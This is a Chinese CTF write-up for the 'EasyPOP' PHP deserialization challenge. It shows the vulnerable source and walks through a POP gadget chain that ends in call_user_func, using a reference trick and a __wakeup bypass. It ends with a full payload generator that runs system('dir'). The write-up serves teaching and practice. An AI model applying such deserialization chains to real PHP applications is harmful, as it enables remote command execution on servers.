[DASCTF X GFCTF 2022十月挑战赛]EasyPOP
考点:POP链构造
<?php
highlight_file(__FILE__);
error_reporting(0);
class fine
{
private $cmd;
private $content;
public function __construct($cmd, $content)
{
$this->cmd = $cmd;
$this->content = $content;
}
public function __invoke()
{
call_user_func($this->cmd, $this->content);
}
public function __wakeup()
{
$this->cmd = "";
die("Go listen to Jay Chou's secret-code! Really nice");
}
}
class show
{
public $ctf;
public $time = "Two and a half years";
public function __construct($ctf)
{
$this->ctf = $ctf;
}
public function __toString()
{
return $this->ctf->show();
}
public function show(): string
{
return $this->ctf . ": Duration of practice: " . $this->time;
}
}
class sorry
{
private $name;
private $password;
public $hint = "hint is depend on you";
public $key;
public function __construct($name, $password)
{
$this->name = $name;
$this->password = $password;
}
public function __sleep()
{
$this->hint = new secret_code();
}
public function __get($name)
{
$name = $this->key;
$name();
}
public function __destruct()
{
if ($this->password == $this->name) {
echo $this->hint;
} else if ($this->name = "jay") {
secret_code::secret();
} else {
echo "This is our code";
}
}
public function getPassword()
{
return $this->password;
}
public function setPassword($password): void
{
$this->password = $password;
}
}
class secret_code
{
protected $code;
public static function secret()
{
include_once "hint.php";
hint();
}
public function __call($name, $arguments)
{
$num = $name;
$this->$num();
}
private function show()
{
return $this->code->secret;
}
}
if (isset($_GET['pop'])) {
$a = unserialize($_GET['pop']);
$a->setPassword(md5(mt_rand()));
} else {
$a = new show("Ctfer");
echo $a->show();
}
pop传参进行反序列化操作
构造POP链:
入口是sorry
类中的__destruct
方法,如果sorry
类中的name
和password
属性相等就会调用echo $this->hint
操作,如果将hint
赋值为show类即可调用它的__toString
方法
但是源码中调用了
$a->setPassword(md5(mt_rand()));
这个操作,给password
设置了一个随机md5加密值,使用取地址&
方法绕过(类似于C语言中的取地址)
class sorry
{
private $name;
private $password;
public function __construct()
{
$this->name = &$this->password;
$this->password = 1;
}
}
此时的链子已经到了show
类中的__toString
方法,
public function __toString()
{
return $this->ctf->show();
}
将ctf属性赋值为secret_code
类即可调用secret_code
类的show
方法
$secret_code = new secret_code($s2);
$show = new show();
$show->ctf = $secret_code;
show()方法
private function show()
{
return $this->code->secret;
}
将code
赋值为sorry
类即可调用sorry
类中的__get
方法
__get方法
public function __get($name)
{
$name = $this->key;
$name();
}
将key
属性赋值为fine
类即可调用fine
类中的__invoke
方法
public function __invoke()
{
call_user_func($this->cmd, $this->content);
}
链子到这结束。
完整的POP链
sorry::__destruct->show::__toString->secret_code::show->sorry::__get->fine::__invoke
在调用最后一步时,还需要绕过_wakeup
class fine
{
private $cmd;
private $content;
public function __construct($cmd, $content)
{
$this->cmd = $cmd;
$this->content = $content;
}
public function __invoke()
{
call_user_func($this->cmd, $this->content);
}
public function __wakeup()
{
$this->cmd = "";
die("Go listen to Jay Chou's secret-code! Really nice");
}
}
完整的Payload
<?php
class fine
{
private $cmd;
private $content;
public function __construct($cmd, $content)
{
$this->cmd = $cmd;
$this->content = $content;
}
}
class secret_code
{
protected $code;
public function __construct($code)
{
$this->code = $code;
}
}
class show
{
public $ctf;
}
class sorry
{
private $name;
private $password;
public function __construct()
{
$this->name = &$this->password;
$this->password = 1;
}
}
$s2 = new sorry();
$s2->key = new fine('system','dir');
$secret_code = new secret_code($s2);
$show = new show();
$show->ctf = $secret_code;
$sorry = new sorry();
$sorry->hint = $show;
$strs = str_replace("fine\":2","fine\":3", serialize($sorry));
echo urlencode($strs);